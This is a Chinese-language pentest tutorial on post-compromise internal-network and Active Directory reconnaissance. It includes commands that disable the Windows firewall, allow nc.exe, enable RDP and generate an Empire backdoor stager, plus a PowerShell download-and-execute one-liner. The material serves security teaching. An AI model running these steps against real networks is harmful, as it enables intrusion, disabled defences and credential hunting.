内网信息收集一
手动信息收集
查询网络配置信息
ipconfig /all
查询操作系统及软件信息
- 查看操作系统版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
中文版操作系统使用
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
- 查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
- 查看安装的软件及版本、路径等
wmic product get name,version
powershell版本的命令如下
powershell "Get-WmiObject -class Win32_Product |Select -Property name,version"
查询本机服务信息
wmic service list brief
查询进程列表
执行如下命令查看当前进程列表和进程用户、分析软件、邮件客户端、VPN和杀毒软件等进程。
tasklist
执行如下命令查询进程信息
wmic process list brief
查看启动程序信息
wmic startup get command,caption
查看主机开机时间
net statistics workstation
查看计划任务
SchTasks /query /fo LIST /v
查询用户列表
通过分析本机用户名列表,可以找出内网机器的命名规则。
net user
获取本地管理员信息
net localgroup administrators
查看当前在线用户
query user || qwinsta
列出或断开本地计算机与所连接客户端之间的会话
net session
查询端口列表:可查看本机开放的端口所对应的服务和应用程序
此时可以看到当前机器和哪些主机建立了连接,以及TCP,UDP等端口的使用和监听情况.
DNS服务可能开放53端口,更新服务器可能开放8530端口。
netstat -ano
查看补丁列表
systeminfo
使用wmic命令查看安装在系统中的补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn
查询本机共享列表
如下命令可以查看本机共享列表和可访问的域的共享列表(域共享很多情况是相同的)
net share
wmic share get name,path,status
查询路由器及所有可用接口的ARP缓存表
route print
arp -a
查询防火墙相关配置
- 关闭防火墙
Windows Server 2003 系统及之前版本,命令如下。
netsh firewall set opmode disable
Windows Server 2003 之后系统版本,命令如下。
netsh advfirewall set allprofiles state off
- 查看防火墙配置
netsh firewall show config
- 修改防火墙配置
Windows Server 2003 系统及之前版本,允许指定程序全部连接,命令如下。
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
Windows Server 2003 之后系统版本,情况如下。
允许指定程序连入,命令如下。
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
允许指定程序连出,命令如下。
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
允许 3389 端口放行,命令如下。
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
(4)自定义防火墙日志储存位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
查看计算机代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
查询并开启远程连接服务
- 查看远程连接端口
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
其中0xd3d转换为10进制为3389
- 在 Windows Server2003中开启3389端口
wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
- 在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
自动信息收集
自动信息收集就是将本来我们需要手动执行的命令编写为脚本,执行完毕后将结果输出到文件中。这里我们使用WMIC,该脚本执行完毕之后将结果输出到out.html文件中。
脚本下载地址
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
使用empire进行信息收集
- 首先我们创建一个Lister
listeners
uselistener http
set Name test
set Port 8080
set Host 192.168.252.130
execute
- 接着生成后门
back
usestager windows/launcher_bat #后门类型
set Listener test #监听的名字
execute
- 将后门在目标主机执行之后获取会话,后门文件执行之后就会自动删除
使用back回到主界面使用agents
管理会话
interact KYHFBMX8 #进入终端与会话进行交互
shell net user #使用cmd命令
- 收集主机信息
最好另开一个终端进入empire进行信息收集
usemodule powershell/situational_awareness/host/winenum #设置模块
set KYHFBMX8 #设置会话
execute
执行完毕之后,之前那个终端中就会返回信息
查询当前权限
查询当前权限
whoami
查询会出来三种情况,普通用户,本地管理员,域内用户。
获取域SID
whoami /all
当前域god
的SID
为S-1-5-21-2952760202-1353902439-2381784089
,域用户administrater
的SID
为S-1-5-21-2952760202-1353902439-2381784089-500
查询指定用户的详细信息
testuser为要查询的用户
net user testuser /domain
判断是否存在域
获得基本信息之后,接着判断内网中是否存在域。如果存在域就需要判断所控主机是否在域内。
使用ipconfig命令
ipconfig /all #该命令可以查看网关 P地址、DNS的IP地址、本地地址是否和DNS服务器为同一网段、域名
接着使用nslookup god.org
进行反向解析IP地址,用解析到的IP地址来判断域控制器和DNS服务器是否在同一台服务器上。
查看系统详细信息
systeminfo
其中域
即为域名(当前为god.org
),登录服务器
为域控制服务器的计算机名。如果域为WORKGROUP
,表明当前服务器不在域内。
查询当前登录域及登录用户信息
net config workstation
工作站域DNS名称显示域名(如果显示为 WORKGROUP
,则表示非域环境)。登录域表明当前用户是域用户登录还是本地用户登录
此处表明当前用户是本地登录。
判断主域
net time /domain
执行命令之后会有三种情况
- 存在域,但是当前用户不是域用户
- 存在域,当前用户是域用户
- 不存在域,当前网络环境为工作组
探测域内存活主机
利用NetBIOS快速探测内网
- nbtscan扫描
将nbtscan.exe上传到目标主机执行,下载地址http://www.unixwiz.net/tools/nbtscan.html
- nmap扫描
nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4
利用 ICMP 协议快速探测内网
使用ICMP探测内网是依次对内网中的每个IP地址执行ping命令,可以快速找出内网中所有存活主机。
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.252.%I | findstr "TTL="
将输出结果导入到文件
@for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.0.%i & if errorlevel 1 (echo 192.168.0.%i>>c:\a.txt) else (echo 192.168.0.%i >>c:\b.txt)
利用VBS脚本进行探测
脚本如下
strSubNet = "192.168.1."
Set objFSO= CreateObject("Scripting.FileSystemObject")
Set objTS = objfso.CreateTextFile("C:\Windows\Temp\Result.txt")
For i = 1 To 254
strComputer = strSubNet & i
blnResult = Ping(strComputer)
If blnResult = True Then
objTS.WriteLine strComputer & " is alived ! :) "
End If
Next
objTS.Close
WScript.Echo "All Ping Scan , All Done ! :) "
Function Ping(strComputer)
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_PingStatus Where Address='" & strComputer & "'")
For Each objItem In colItems
Select case objItem.StatusCode
Case 0
Ping = True
Case Else
Ping = False
End select
Exit For
Next
End Function
- namp扫描
nmap -sn -PE -T4 192.168.0.0/24 (扫描一个C段下的存活主机)
- powershell扫描
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1’);Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports ‘445,1433,8080,3389,80’ -oA c:\windows\temp\res.txt"
- EmpireEmpire 中的 arpsan 模块
(Empire: agents) > interact KYHFBMX8
(Empire: KYHFBMX8) > usemodule situational_awareness/network/arpscan
(Empire: powershell/situational_awareness/network/arpscan) > set Range 192.168.252.0-192.168.252.254
(Empire: powershell/situational_awareness/network/arpscan) > execute
通过常规 TCP/UDP 端口扫描探测内网
- nmap扫描
nmap -sU -T5 -sV --max-retries 1 192.168.1.100 -p 500
扫描域内端口
利用nmap进行端口扫描
nmap -sS -p1-1000 192.168.1.108
nmap -sU --script snmp-brute 192.168.1.0/24 -T4
SMB协议探测
- 使用nmap
nmap -sS -sU --script smb-enum-shares.nse -p 445 192.168.252.1/24
nmap -sS -sU --script smb-enum-shares.nse -p 445 192.168.252.112
- 使用powershell进行测试
#单一ip测试
powershell.exe 445 | %{ echo ((new-object Net.Sockets.TcpClient).Connect("192.168.10.151",$_)) "$_ is open"} 2>$null
#多ip测试
1..5 | % { $a = $_; 445 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.10.$a",$_)) "Port $_ is open"} 2>$null}
常见端口对应的服务
收集域内基础信息
当我们确定当前内网中拥有域,且当前所控制的主机在域内,我们就可以进行相关信息收集。
查询域
net view /domain
查询域内所有计算机
执行以下命令就可以查询得到主机名对主机角色进行初步判断,例如dev可能是开发服务器,web、app可能是web服务器,NAS可能是存储服务器,fileserver可能是文件服务器。
net view /domain:GOD
查询域内所有用户组列表
net group /domain
- Domain Admins:域管理员
- Domain Computers:域内机器
- Domain Controllers:域控制器
- Domain Guest:域访客,权限较低
- Domain Users:域用户
- Enterprise Admins:企业系统管理员用户
默认情况下,Domain Admins和Enterprise Admins对域内所有控制器有完全控制权限。
查询所有域成员计算机列表
net group "domain computers" /domain
获取域密码信息
net accounts /domain
获取域信任信息
nltest /domain_trusts
查找域控制器
查看域控制器的机器名
nltest /DCLIST:GOD
查看域控制器主机名
Nslookup -type=SRV _ldap._tcp
我们可以看到域控制器的主机名为owa
。
查看当前时间
通常情况下,时间服务器为主域控制器
net time /domain
查看域控制器组
net group "Domain Controllers" /domain
在实际情况中,一个域内一般有两台或者两台以上的域控制器,一旦主域控制器发生故障,备用域控制器就可以保证域内服务和验证工作正常运行。
执行以下命令查看主域控制器,我们这里是OWA
netdom query pdc
获取域内的用户和管理员信息
查询所有域用户列表
- 向域控制器进行查询
net user /domain
我们可以看到域内有4个用户,其中krbtgt用户不仅可以创建票据授权服务(TGS)的加密密钥,还可以实现多种域内权限持久化方法。
- 获取域内用户的详细信息
执行下面的命令可以获取域内用户的详细信息,如用户名、描述信息、SID、域名等。
wmic useraccount get /all
- 查看存在的用户
dsquery user
常用的dsquery命令
- 查询本地管理员组用户
net localgroup administrators
默认 Domain Admins 组为域内机器的本地管理员用户。在真实环境中,为了方便管理,会有域用户被添加为域机器的本地管理员用户。
查询域管理员用户组
- 查询域管理员用户
net group "domain admins" /domain
- 查询域管理员用户组
net group "Enterprise Admins" /domain
定位域管理员
在一个域中,当计算机加入域后,会默认给域管理员组赋予本地系统管理员的权限。也就是说,在计算机添加到域中,成为域的成员主机后,系统会自动将域管理员组添加到本地系统管理员组中。因此,域管理员组的成员均可访问本地计算机,而且具备完全控制权限。
渗透测试人员通常会通过搜集域内信息,追踪域内特权用户、域管理组用户的历史登录位置、当前登录位置等。定位域内管理员的常规渠道,一是日志,二是会话。日志是指本地机器的管理员日志,可以使用脚本或 wevtutil 导出查看。会话是指域内每个机器的登录会话,可以匿名查询,无须权限,可以使用 netsess.exe 或 PowerView 等工具查询。
psloggedon
使用psloggedon.exe可以查看本地登录的用户和通过本地计算机进行远程计算机的资源登录用户。psloggedon.exe 会搜索网络邻居中的计算机,并显示该用户当前是否已登录,其原理是通过检验注册表里 HKEY_USERS 项的 key 值来查询谁登录过机器(同样调用了 NetSessionEnum API), 某些功能需要拥有管理员权限才能使用 。
下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
psloggedon [-] [-l] [-x] [\\computername|username]
-:显示支持的选项和用于输出值的单位。
-l:仅显示本地登录,不显示本地和网络资源登录。
-x:不显示登录时间。
\\computername:指定要列出登录信息的计算机的名称。
Username:指定用户名,在网络中搜索该用户登录的计算机。
pveFindADUser
pveFindADUser.exe <参数>
-h:显示帮助。
-u:检查是否有更新版本的实用程序。
-current [''username'']:如果仅指定了-current 参数,将获取所有目标计算机上当前登录的所有用户。如果指定了用户名(DOMAIN\Username),则显示该用户登录的计算机。
-last [''username'']:如果仅指定了-last 参数,将获取目标计算机上的最后一个登录用户。如果指定了用户名(DOMAIN\Username),则显示具有此用户账户作为上次登录的计算机。根据网络的策略,可能会隐藏最后一个登录用户名,且该工具可能无法得到该用户名。
-noping:阻止该工具在尝试获取用户登录信息之前对目标计算机执行 ping 命令。
-target:可选参数,用于指定要查询的主机。如果未指定此参数,将查询当前域中的所有主
机。如果指定此参数,则后跟一个由逗号分隔的主机名列表
直接运行pveFindADUser.exe -currect即可显示域中所有计算机(计算机、服务器、域控制器)上当前登录所有用户。查询结果会被输出到report.csv文件中。
netview
netview.exe 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 找寻登录会话,利用 NetShareEnum 找寻共享,利用 NetWkstaUserEnum 枚举登录的用户。同时,netview.exe 能够查询共享入口和有价值用户。netview.exe 的绝大部分功能不需要管理员权限即可使用。
netview.exe <参数>
-h:显示帮助菜单。
-f filename.txt:指定从中提取主机列表的文件。
-e filename.txt:指定要排除的主机名文件。
-o filename.txt:将所有输出重定向到文件。
-d domain:指定从中提取主机列表的域。如果没有指定,则使用当前域。
-g group:指定用户搜寻的组名。如果没有指定,则使用 Domain Admins。
-c:检查对已找到共享的访问权限。
Nmap 的 NSE 脚本
如果有域账户或者本地账户,就可以使用 Nmap 的 smb-enum-sessions.nse 引擎来获取远程机器的登录会话(并且不需要管理员权限)
smb-enum-sessions.nse 下载地址为 https://nmap.org/nsedoc/scripts/smb-enum-sessions.html
smb-enum-domains.nse:对域控制器进行信息收集,可以获取主机信息、用户、密码策略可以使用的用户等。 smb-enum-users.nse:在进行域渗透测试的时候,如果获取了域内某台主机的权限,但是权限有限,不能获取更多的域用户信息,就可以借助这个脚本对域控制器进行扫描。 smb-enum-shares.nse:遍历远程主机的共目录。
smb-enum-processes.nse:对主机的系统进程进行遍历。通过这些信息,可以知道目标主机上运行软件信息,选择合适的漏洞或者规避防火墙及杀毒软件。
smb-enum-sessions.nse:获取域内主机的用户登录会话,查看当前是否有用户登录。
PowerView
PS C:\Users\liukaifeng01\Desktop> .\powerview.ps1
PS C:\Users\liukaifeng01\Desktop> Import-Module .\powerview.ps1
PS C:\Users\liukaifeng01\Desktop> Invoke-UserHunter
Empire 下的 user_hunter 模块
(Empire: agents) > interact 7GVMDNHZ
(Empire: 7GVMDNHZ) > usemodule situational_awareness/network/powerview/user_hunter
(Empire: powershell/situational_awareness/network/powerview/user_hunter) > execute
查找域管理进程
在渗透测试中,一个典型的域权限提升过程,通常围绕着收集明文凭据或通过mimikatz提权等方法,在获取了管理员权限的系统中寻找域管理员登录进程,进而收集域管理员的凭据。如果内网环境非常复杂,渗透测试人员无法立即在拥有权限的系统中获得域管理员进程,那么通常采用的方法是:在跳板机之间跳转,直至获得域管理员权限,同时进行一些分析工作,进而找到渗透测试的路径。
现在我们来假设一种情况:渗透测试人员在某个内网环境中获得一个域普通用户的权限,首先通过各种方法获得当前服务器的本地管理员权限,然后分析当前服务器的用户登录列表及会话信息,知道哪些用户登录了这台服务器。如果渗透测试人员通过分析发现,可以获取权限的登录用户都不是域管理员账户,同时没有域管理员组中的用户登录这台服务器,就可以使用另一个账户并寻找账户在内网的哪台机器上具有管理权限,再枚举这台机器上的用户,然后继续进行渗透测试,直至找到一个可以获取域管理员权限的有效路径为止。
本机检查
- 获取管理员列表
net group "Domain Admins" /domain
我们可以看到两个域管理员
- 列出本机所有进程及进程用户
tasklist -v
在任务列表中查找是否有所有者为域管理员的进程
查询域控制器的域用户会话
查询域控制器的域用户会话,其原理是:在域控制器中查询域用户会话列表,并将其与域管理员列表交叉引用,从而找出域管理会话的系统列表.
- 查询控制器列表
net group "Domain Controllers" /domain
#使用 LDAP 查询从 Domain Controllers 单元收集的域控制器的列表。也可以使用 net 命令查询域控制器列表
- 收集域管理员列表
使用 LDAP 进行查询。也可以使用 net 命令从域管理员组中收集域管理员列表
net group "Domain Admins" /domain